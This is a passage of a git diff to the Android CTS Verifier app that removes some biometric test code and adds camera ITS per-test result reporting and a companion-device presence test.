-                updatePassButton();
-            } else {
-                showToastAndLog("Unexpected result: " + result + ". Please make sure the device"
-                        + " does not have a PIN/Pattern/Password set");
-            }
-        });
-
-        // Test setAllowedAuthenticators(DEVICE_CREDENTIAL)
-        final Button bpSetAllowedAuthenticatorsButton =
-                findViewById(R.id.setAllowedAuthenticators_button);
-        bpSetAllowedAuthenticatorsButton.setOnClickListener((view) -> {
-            BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-            builder.setTitle("Title");
-            builder.setSubtitle("Subtitle");
-            builder.setDescription("Description");
-            builder.setAllowedAuthenticators(Authenticators.DEVICE_CREDENTIAL);
-            BiometricPrompt bp = builder.build();
-            bp.authenticate(new CancellationSignal(), mExecutor,
-                    new BiometricPrompt.AuthenticationCallback() {
-                        @Override
-                        public void onAuthenticationError(int errorCode, CharSequence errString) {
-                            if (errorCode == BiometricPrompt.BIOMETRIC_ERROR_NO_DEVICE_CREDENTIAL) {
-                                bpSetAllowedAuthenticatorsButton.setEnabled(false);
-                                mBiometricPromptSetAllowedAuthenticatorsPass = true;
-                                updatePassButton();
-                            } else {
-                                showToastAndLog("Unexpected errorCode: " + errorCode);
-                            }
-                        }
-                    });
-        });
-
-        // Test setDeviceCredentialAllowed(true)
-        final Button bpSetDeviceCredentialAllowedButton =
-                findViewById(R.id.setDeviceCredentialAllowed_button);
-        bpSetDeviceCredentialAllowedButton.setOnClickListener((view) -> {
-            BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-            builder.setTitle("Title");
-            builder.setSubtitle("Subtitle");
-            builder.setDescription("Description");
-            builder.setDeviceCredentialAllowed(true);
-            BiometricPrompt bp = builder.build();
-            bp.authenticate(new CancellationSignal(), mExecutor,
-                    new BiometricPrompt.AuthenticationCallback() {
-                        @Override
-                        public void onAuthenticationError(int errorCode, CharSequence errString) {
-                            if (errorCode == BiometricPrompt.BIOMETRIC_ERROR_NO_BIOMETRICS) {
-                                bpSetDeviceCredentialAllowedButton.setEnabled(false);
-                                mBiometricPromptSetDeviceCredentialAllowedPass = true;
-                                updatePassButton();
-                            } else {
-                                showToastAndLog("Unexpected errorCode: " + errorCode);
-                            }
-                        }
-                    });
-        });
-    }
-
-    private void showToastAndLog(String s) {
-        Log.d(TAG, s);
-        Toast.makeText(this, s, Toast.LENGTH_SHORT).show();
-    }
-
-    private void updatePassButton() {
-        if (mBiometricManagerPass && mBiometricPromptSetAllowedAuthenticatorsPass
-                && mBiometricPromptSetDeviceCredentialAllowedPass) {
-            showToastAndLog("All tests passed");
-            getPassButton().setEnabled(true);
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/SensorConfigurationTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/SensorConfigurationTest.java
deleted file mode 100644
index f40d41d..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/SensorConfigurationTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.biometrics;
-
-import android.content.res.Resources;
-import android.hardware.biometrics.BiometricManager.Authenticators;
-import android.os.Bundle;
-import android.util.Log;
-import android.widget.Button;
-
-import com.android.cts.verifier.R;
-
-public class SensorConfigurationTest extends AbstractBaseTest {
-
-    private static final String TAG = "SensorConfigurationTest";
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    @Override
-    protected boolean isOnPauseAllowed() {
-        return true;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.biometric_test_sensor_configuration);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        final Button button = findViewById(R.id.biometric_test_sensor_configuration_button);
-        button.setOnClickListener((view) -> {
-            if (isSensorConfigurationValid()) {
-                button.setEnabled(false);
-                getPassButton().setEnabled(true);
-                showToastAndLog("Test passed");
-            }
-        });
-    }
-
-    private boolean isSensorConfigurationValid() {
-        final Resources res = Resources.getSystem();
-        final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
-        final String config[] = res.getStringArray(resId);
-
-        // Device configuration should be formatted as "ID:Modality:Strength", where
-        // 1) IDs are unique, starting at 0 and increasing by 1 for each new authenticator.
-        // 2) Modality as defined in BiometricAuthenticator.java.
-        // 3) Strength as defined in BiometricManager.Authenticators.
-        // 4) Sensors must be listed in order of decreasing strength.
-        // We currently enforce only 1, 3, and 4, since 2 is not a public API.
-
-        int lastId = -1;
-        int lastStrength = Authenticators.BIOMETRIC_STRONG;
-
-        for (int i = 0; i < config.length; i++) {
-            String[] elems = config[i].split(":");
-            final int id = Integer.parseInt(elems[0]);
-            final int modality = Integer.parseInt(elems[1]);
-            final int strength = Integer.parseInt(elems[2]);
-
-            Log.d(TAG, "Config(" + i + "): " + config[i]);
-
-            if (id != lastId + 1) {
-                showToastAndLog("IDs must be monotonically increasing from 0. "
-                        + " Id: " + id + " lastId: " + lastId);
-                return false;
-            }
-            lastId++;
-
-            if (strength != Authenticators.BIOMETRIC_STRONG
-                    && strength != Authenticators.BIOMETRIC_WEAK
-                    && strength != Authenticators.BIOMETRIC_CONVENIENCE) {
-                showToastAndLog("Unknown strength: " + strength);
-                return false;
-            }
-
-            if (strength < lastStrength) {
-                // Strengths are already validated above. The bitfield values
-                // decrease as strength increases.
-                showToastAndLog("Sensors must be listed in decreasing strength");
-                return false;
-            }
-            lastStrength = strength;
-        }
-
-        return true;
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index 6563e7e..e5cd1f3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -20,21 +20,14 @@
 import android.content.Context;
 import android.content.DialogInterface;
 import android.content.res.Resources;
-import android.hardware.biometrics.BiometricManager;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
-import android.text.InputType;
 import android.util.Log;
-import android.widget.EditText;
-import android.widget.LinearLayout;
 import android.widget.Toast;
 
-import java.security.KeyPair;
 import java.security.KeyStore;
 import java.security.PrivateKey;
-import java.security.PublicKey;
 import java.security.Signature;
-import java.util.Random;
 
 import javax.crypto.Cipher;
 import javax.crypto.KeyGenerator;
@@ -83,26 +76,6 @@
         keyGenerator.generateKey();
     }
 
-    static void createTimeBoundSecretKey(String keyName, int authTypes, boolean useStrongBox)
-            throws Exception {
-        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
-        keyStore.load(null);
-        KeyGenerator keyGenerator = KeyGenerator.getInstance(
-                KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
-
-        // Set the alias of the entry in Android KeyStore where the key will appear
-        // and the constrains (purposes) in the constructor of the Builder
-        keyGenerator.init(new KeyGenParameterSpec.Builder(keyName,
-                KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
-                .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
-                .setUserAuthenticationRequired(true)
-                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
-                .setIsStrongBoxBacked(useStrongBox)
-                .setUserAuthenticationParameters(1 /* seconds */, authTypes)
-                .build());
-        keyGenerator.generateKey();
-    }
-
     static Cipher initCipher(String keyName) throws Exception {
         KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
         keyStore.load(null);
@@ -160,109 +133,4 @@
         AlertDialog dialog = builder.create();
         dialog.show();
     }
-
-    static abstract class VerifyRandomContents {
-        final Context mContext;
-        final String mRandomTitle;
-        final String mRandomSubtitle;
-        final String mRandomDescription;
-        final String mRandomNegativeButtonText;
-
-        abstract void onVerificationSucceeded();
-
-        VerifyRandomContents(Context context) {
-            mContext = context;
-
-            final Random random = new Random();
-            mRandomTitle = String.valueOf(random.nextInt(10000));
-            mRandomSubtitle = String.valueOf(random.nextInt(10000));
-            mRandomDescription = String.valueOf(random.nextInt(10000));
-            mRandomNegativeButtonText = String.valueOf(random.nextInt(10000));
-        }
-
-        void verifyContents(String titleEntered, String subtitleEntered, String descriptionEntered,
-                String negativeEntered) {
-            if (!titleEntered.contentEquals(mRandomTitle)) {
-                showToastAndLog(mContext, "Title incorrect, "
-                        + titleEntered + " " + mRandomTitle);
-            } else if (!subtitleEntered.contentEquals(mRandomSubtitle)) {
-                showToastAndLog(mContext, "Subtitle incorrect, "
-                        + subtitleEntered + " " + mRandomSubtitle);
-            } else if (!descriptionEntered.contentEquals(mRandomDescription)) {
-                showToastAndLog(mContext, "Description incorrect, "
-                        + descriptionEntered + " " + mRandomDescription);
-            } else if (!negativeEntered.contentEquals(mRandomNegativeButtonText)) {
-                showToastAndLog(mContext, "Negative text incorrect, "
-                        + negativeEntered + " " + mRandomNegativeButtonText);
-            } else {
-                showToastAndLog(mContext, "Contents matched!");
-                onVerificationSucceeded();
-            }
-        }
-
-    }
-
-    static void showUIVerificationDialog(Context context, int titleRes,
-            int positiveButtonRes, VerifyRandomContents contents) {
-        LinearLayout layout = new LinearLayout(context);
-        layout.setOrientation(LinearLayout.VERTICAL);
-
-        final EditText titleBox = new EditText(context);
-        titleBox.setHint("Title");
-        titleBox.setInputType(InputType.TYPE_CLASS_NUMBER);
-        layout.addView(titleBox);
-
-        final EditText subtitleBox = new EditText(context);
-        subtitleBox.setHint("Subtitle");
-        subtitleBox.setInputType(InputType.TYPE_CLASS_NUMBER);
-        layout.addView(subtitleBox);
-
-        final EditText descriptionBox = new EditText(context);
-        descriptionBox.setHint("Description");
-        descriptionBox.setInputType(InputType.TYPE_CLASS_NUMBER);
-        layout.addView(descriptionBox);
-
-        final EditText negativeBox = new EditText(context);
-        negativeBox.setHint("Negative Button");
-        negativeBox.setInputType(InputType.TYPE_CLASS_NUMBER);
-        layout.addView(negativeBox);
-
-        AlertDialog.Builder builder = new AlertDialog.Builder(context);
-        builder.setTitle(titleRes);
-        builder.setPositiveButton(positiveButtonRes, (dialog, which) -> {
-            if (which == DialogInterface.BUTTON_POSITIVE) {
-                final String titleEntered = titleBox.getText().toString();
-                final String subtitleEntered = subtitleBox.getText().toString();
-                final String descriptionEntered = descriptionBox.getText().toString();
-                final String negativeEntered = negativeBox.getText().toString();
-
-                contents.verifyContents(titleEntered, subtitleEntered, descriptionEntered,
-                        negativeEntered);
-            }
-        });
-
-        AlertDialog dialog = builder.create();
-        dialog.setView(layout);
-        dialog.show();
-    }
-
-    static boolean deviceConfigContains(Context context, int authenticator) {
-        final Resources res = context.getResources();
-        final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
-        final String config[] = res.getStringArray(resId);
-        for (String s : config) {
-            Log.d(TAG, s);
-            final String[] elems = s.split(":");
-            final int strength = Integer.parseInt(elems[2]);
-            if (strength == authenticator) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    static void showToastAndLog(Context context, String s) {
-        Log.d(TAG, s);
-        Toast.makeText(context, s, Toast.LENGTH_SHORT).show();
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 7ce97fe..8792ece 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -22,6 +22,7 @@
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.content.pm.ServiceInfo;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
@@ -231,6 +232,8 @@
     private HandlerThread mSensorThread = null;
     private Handler mSensorHandler = null;
 
+    private PackageManager mPackageManager;
+
     private static final int SERIALIZER_SURFACES_ID = 2;
     private static final int SERIALIZER_PHYSICAL_METADATA_ID = 3;
 
@@ -312,6 +315,8 @@
         mChannel.setDescription("ItsServiceChannel");
         mChannel.enableVibration(false);
         notificationManager.createNotificationChannel(mChannel);
+
+        mPackageManager = getPackageManager();
     }
 
     @Override
@@ -709,6 +714,8 @@
                     mSocketRunnableObj.sendResponse("ItsVersion", ITS_SERVICE_VERSION);
                 } else if ("isStreamCombinationSupported".equals(cmdObj.getString("cmdName"))) {
                     doCheckStreamCombination(cmdObj);
+                } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
+                    doCheckCameraPrivacyModeSupport();
                 } else {
                     throw new ItsException("Unknown command: " + cmd);
                 }
@@ -1038,6 +1045,13 @@
         }
     }
 
+    private void doCheckCameraPrivacyModeSupport() throws ItsException {
+        boolean hasPrivacySupport = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_CAMERA_TOGGLE);
+        mSocketRunnableObj.sendResponse("cameraPrivacyModeSupport",
+                hasPrivacySupport ? "true" : "false");
+    }
+
     private void prepareImageReaders(Size[] outputSizes, int[] outputFormats, Size inputSize,
             int inputFormat, int maxInputBuffers) {
         closeImageReaders();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index fb4a893..806d055 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -38,6 +38,7 @@
 import java.util.Iterator;
 import java.util.List;
 import java.util.Locale;
+import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
 import java.io.BufferedReader;
@@ -83,7 +84,7 @@
     List<String> mToBeTestedCameraIds = null;
 
     // Scenes
-    private static final ArrayList<String> mSceneIds = new ArrayList<String> () { {
+    private static final ArrayList<String> mSceneIds = new ArrayList<String> () {{
             add("scene0");
             add("scene1_1");
             add("scene1_2");
@@ -95,19 +96,155 @@
             add("scene3");
             add("scene4");
             add("scene5");
+            add("scene6");
             add("scene_change");
             add("sensor_fusion");
-        } };
+        }};
     // This must match scenes of HIDDEN_PHYSICAL_CAMERA_TESTS in run_all_tests.py
     private static final ArrayList<String> mHiddenPhysicalCameraSceneIds =
-            new ArrayList<String> () { {
+            new ArrayList<String> () {{
                     add("scene0");
                     add("scene1_1");
                     add("scene1_2");
                     add("scene2_a");
                     add("scene4");
                     add("sensor_fusion");
-             }};
+            }};
+
+    private static final ArrayList<String> mScene0Tests = new ArrayList<String>() {{
+            add("test_burst_capture");
+            add("test_capture_result_dump");
+            add("test_gyro_bias");
+            add("test_jitter");
+            add("test_metadata");
+            add("test_param_sensitivity_burst");
+            add("test_read_write");
+            add("test_sensor_events");
+            add("test_solid_color_test_pattern");
+            add("test_test_patterns");
+            add("test_tonemap_curve");
+            add("test_unified_timestamps");
+            add("test_vibration_restriction");
+        }};
+
+    private static final ArrayList<String> mScene1_1Tests = new ArrayList<String>() {{
+            add("test_3a");
+            add("test_ae_af");
+            add("test_ae_precapture_trigger");
+            add("test_auto_vs_manual");
+            add("test_black_white");
+            add("test_burst_sameness_manual");
+            add("test_capture_result");
+            add("test_crop_region_raw");
+            add("test_crop_regions");
+            add("test_dng_noise_model");
+            add("test_ev_compensation_advanced");
+            add("test_ev_compensation_basic");
+            add("test_exposure");
+            add("test_jpeg");
+            add("test_latching");
+            add("test_linearity");
+            add("test_locked_burst");
+            add("test_multi_camera_match");
+            add("test_param_color_correction");
+            add("test_param_exposure_time");
+            add("test_param_flash_mode");
+            add("test_param_noise_reduction");
+        }};
+
+    private static final ArrayList<String> mScene1_2Tests = new ArrayList<String>() {{
+            add("test_param_sensitivity");
+            add("test_param_shading_mode");
+            add("test_param_tonemap_mode");
+            add("test_post_raw_sensitivity_boost");
+            add("test_raw_exposure");
+            add("test_raw_sensitivity_burst");
+            add("test_raw_sensitivity");
+            add("test_reprocess_noise_reduction");
+            add("test_tonemap_sequence");
+            add("test_yuv_jpeg_all");
+            add("test_yuv_plus_dng");
+            add("test_yuv_plus_jpeg");
+            add("test_yuv_plus_raw");
+            add("test_yuv_plus_raw10");
+            add("test_yuv_plus_raw12");
+        }};
+
+    private static final ArrayList<String> mScene2_aTests = new ArrayList<String>() {{
+            add("test_effects");
+            add("test_faces");
+            add("test_format_combos");
+            add("test_jpeg_quality");
+            add("test_num_faces");
+        }};
+
+    private static final ArrayList<String> mScene2_bTests = new ArrayList<String>() {{
+            add("test_auto_per_frame_control");
+            add("test_num_faces");
+        }};
+
+    private static final ArrayList<String> mScene2_cTests = new ArrayList<String>() {{
+            add("test_num_faces");
+        }};
+
+    private static final ArrayList<String> mScene2_dTests = new ArrayList<String>() {{
+            add("test_num_faces");
+        }};
+
+    private static final ArrayList<String> mScene2_eTests = new ArrayList<String>() {{
+            add("test_num_faces");
+            add("test_continuous_picture");
+        }};
+
+    private static final ArrayList<String> mScene3Tests = new ArrayList<String>() {{
+            add("test_3a_consistency");
+            add("test_edge_enhancement");
+            add("test_flip_mirror");
+            add("test_lens_movement_reporting");
+            add("test_lens_position");
+            add("test_reprocess_edge_enhancement");
+        }};
+
+    private static final ArrayList<String> mScene4Tests = new ArrayList<String>() {{
+            add("test_aspect_ratio_and_crop");
+            add("test_multi_camera_alignment");
+        }};
+
+    private static final ArrayList<String> mScene5Tests = new ArrayList<String>() {{
+            add("test_lens_shading_and_color_uniformity");
+        }};
+
+    private static final ArrayList<String> mScene6Tests = new ArrayList<String>() {{
+            add("test_zoom");
+        }};
+
+    private static final ArrayList<String> mSceneChangeTests = new ArrayList<String>() {{
+            add("test_scene_change");
+        }};
+
+    private static final ArrayList<String> mSensorFusionTests = new ArrayList<String>() {{
+            add("test_multi_camera_frame_sync");
+            add("test_sensor_fusion");
+        }};
+
+    private static final HashMap<String,ArrayList<String>> mSceneTestMap =
+        new HashMap<String,ArrayList<String>>() {{
+            put("scene0", mScene0Tests);
+            put("scene1_1",mScene1_1Tests );
+            put("scene1_2", mScene1_2Tests);
+            put("scene2_a",mScene2_aTests);
+            put("scene2_b",mScene2_bTests);
+            put("scene2_c",mScene2_cTests);
+            put("scene2_d", mScene2_dTests);
+            put("scene2_e",mScene2_eTests);
+            put("scene3",mScene3Tests);
+            put("scene4",mScene4Tests);
+            put("scene5",mScene5Tests);
+            put("scene6",mScene6Tests);
+            put("scene_change",mSceneChangeTests);
+            put("sensor_fusion",mSensorFusionTests);
+        }};
+
 
     // TODO: cache the following in saved bundle
     private Set<ResultKey> mAllScenes = null;
@@ -239,7 +376,36 @@
 
                     // Update test execution results
                     for (String scene : scenes) {
+                        HashMap<String, String> executedTests = new HashMap<>();
                         JSONObject sceneResult = jsonResults.getJSONObject(scene);
+                        Log.v(TAG, sceneResult.toString());
+                        if(sceneResult.has("TEST_STATUS")){
+                            JSONArray testResults = sceneResult.getJSONArray("TEST_STATUS");
+                            for(int i=0;i < testResults.length();i++){
+                                JSONObject obj = (JSONObject)testResults.get(i);
+                                String test_name = obj.get("test").toString();
+                                String test_status = obj.get("status").toString();
+                                executedTests.put(test_name,test_status);
+                            }
+                            Log.v(TAG,"Individual test results are:" + executedTests.toString());
+                            for (Map.Entry<String,String> entry : executedTests.entrySet()){
+                                int testResult;
+                                String test_name,status;
+                                test_name = entry.getKey();
+                                status = entry.getValue();
+                                if(status.equals("PASS")) {
+                                    testResult = TestResult.TEST_RESULT_PASSED;
+                                } else if (status.equals("SKIP")) {
+                                    testResult = TestResult.TEST_RESULT_NOT_EXECUTED;
+                                } else {
+                                    testResult = TestResult.TEST_RESULT_FAILED;
+                                }
+                                setTestResult(testId(cameraId, scene) + "_" + test_name, testResult);
+                                Log.v(TAG, "setTestResult for " +
+                                    testId(cameraId, scene) + "_" + test_name + ": " + testResult);
+                            }
+
+                        }
                         String result = sceneResult.getString("result");
                         if (result == null) {
                             Log.e(TAG, "Result for " + scene + " is null");
@@ -405,6 +571,13 @@
                 adapter.add(new DialogTestListItem(this,
                 testTitle(cam, scene),
                 testId(cam, scene)));
+                if(mSceneTestMap.containsKey(scene)){
+                    ArrayList<String> testList = mSceneTestMap.get(scene);
+                    for(String test_name : testList){
+                        adapter.add(new DialogTestListItem(
+                            this,test_name,testId(cam, scene) + "_" + test_name));
+                    }
+                }
             }
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
new file mode 100644
index 0000000..ffb12fc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.companion;
+
+import android.bluetooth.BluetoothDevice;
+import android.companion.AssociationRequest;
+import android.companion.BluetoothDeviceFilter;
+import android.companion.CompanionDeviceManager;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.List;
+
+/**
+ * Test that Companion Device Awake {@link CompanionDeviceService} API is functional
+ */
+@CddTest(requirement = "3.16/C-1-2,C-1-3,H-1-1")
+public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity{
+    private static final String LOG_TAG = "=CDMSerivceTestActivity";
+    private static final int REQUEST_CODE_CHOOSER = 0;
+
+    private CompanionDeviceManager mCompanionDeviceManager;
+
+    private Button mPresentButton;
+    private Button mGoneButton;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.companion_service_test_main);
+        setPassFailButtonClickListeners();
+        mPresentButton = (Button) findViewById(R.id.present_button);
+        mGoneButton = (Button) findViewById(R.id.gone_button);
+        mPresentButton.setEnabled(false);
+        mGoneButton.setEnabled(false);
+
+        mCompanionDeviceManager = getSystemService(CompanionDeviceManager.class);
+
+        getPassButton().setEnabled(false);
+
+        findViewById(R.id.go_button).setOnClickListener(v -> associateDevices());
+
+    }
+
+    private void associateDevices() {
+        if (!getApplicationContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH)) {
+            Log.d(LOG_TAG, "PackageManager.FEATURE_BLUETOOTH not supported."
+                    + "This test case is not applicable");
+            getPassButton().setEnabled(true);
+            return;
+        }
+
+        AssociationRequest request = new AssociationRequest.Builder()
+                .addDeviceFilter(new BluetoothDeviceFilter.Builder().build())
+                .build();
+
+        CompanionDeviceManager.Callback callback = new CompanionDeviceManager.Callback() {
+            @Override
+            public void onDeviceFound(IntentSender chooserLauncher) {
+                try {
+                    startIntentSenderForResult(chooserLauncher,
+                            REQUEST_CODE_CHOOSER, null, 0, 0, 0);
+                } catch (IntentSender.SendIntentException e) {
+                    fail(e);
+                }
+            }
+
+            @Override
+            public void onFailure(CharSequence error) {
+                fail(error);
+            }
+        };
+        mCompanionDeviceManager.associate(request, callback, null);
+    }
+
+    private void fail(Throwable reason) {
+        Log.e(LOG_TAG, "Test failed", reason);
+        fail(reason.getMessage());
+    }
+
+    private void fail(CharSequence reason) {
+        Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+        Log.e(LOG_TAG, reason.toString());
+        setTestResultAndFinish(false);
+    }
+
+    private void disassociate(String deviceAddress) {
+        mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
+        mCompanionDeviceManager.disassociate(deviceAddress);
+        List<String> associations = mCompanionDeviceManager.getAssociations();
+
+        if (associations.contains(deviceAddress)) {
+            fail("Disassociating device " + deviceAddress
+                    + " did not remove it from associations list"
+                    + associations);
+            return;
+        }
+    }
+
+    private void isGoneTest(String deviceAddress) {
+        if (Boolean.FALSE.equals(DevicePresenceListener.sDeviceNearBy)) {
+            findViewById(R.id.present_button).setOnClickListener(
+                    v -> isPresentTest(deviceAddress));
+            mPresentButton.setEnabled(true);
+        } else {
+            disassociate(deviceAddress);
+            fail("Device " + deviceAddress + " should be gone");
+        }
+    }
+
+    private void isPresentTest(String deviceAddress) {
+        if (Boolean.TRUE.equals(DevicePresenceListener.sDeviceNearBy)) {
+            getPassButton().setEnabled(true);
+            disassociate(deviceAddress);
+        } else {
+            disassociate(deviceAddress);
+            fail("Device " + deviceAddress + " should be present");
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_CHOOSER) {
+            if (resultCode != RESULT_OK) {
+                fail("Activity result code " + resultCode);
+                return;
+            }
+
+            BluetoothDevice associatedDevice = data.getParcelableExtra(
+                    CompanionDeviceManager.EXTRA_DEVICE);
+            String deviceAddress = associatedDevice.getAddress();
+            if (deviceAddress != null) {
+                findViewById(R.id.gone_button).setOnClickListener(
+                        v -> isGoneTest(deviceAddress));
+                mGoneButton.setEnabled(true);
+                mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
+            } else {
+                fail("The device was present but its address was null");
+            }
+
+        } else super.onActivityResult(requestCode, resultCode, data);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
new file mode 100644
index 0000000..c6b18e1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.companion;
+
+import android.companion.CompanionDeviceService;
+import android.widget.Toast;
+
+/**
+ * A Listener for {@Link CompanionDeviceAwakeTestActivity}
+ */
+public class DevicePresenceListener extends CompanionDeviceService {
+    public static Boolean sDeviceNearBy;
+
+    @Override
+    public void onDeviceAppeared(String address) {
+        sDeviceNearBy = true;
+        Toast.makeText(this, "Device appeared: " + address,
+                Toast.LENGTH_LONG).show();
+    }
+
+    @Override
+    public void onDeviceDisappeared(String address) {
+        sDeviceNearBy = false;
+        Toast.makeText(this, "Device disappeared: " + address,
+                Toast.LENGTH_LONG).show();
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/displaycutout/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/displaycutout/OWNERS
new file mode 100644
index 0000000..545d263
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/displaycutout/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 339570
+roosa@google.com
+shawnlin@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
index 0718d41..50d5f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
@@ -121,12 +121,12 @@
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
             final PendingIntent onTaskRemoved = PendingIntent.getBroadcast(this, 0,
-                    reportTaskRemovedIntent, 0);
+                    reportTaskRemovedIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM)
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, 0);
+            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent testActivity = new Intent()
                     .setClassName(HELPER_APP_NAME, HELPER_ACTIVITY_NAME)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index a6a25e6..74d50a9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -19,6 +19,7 @@
 import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES;
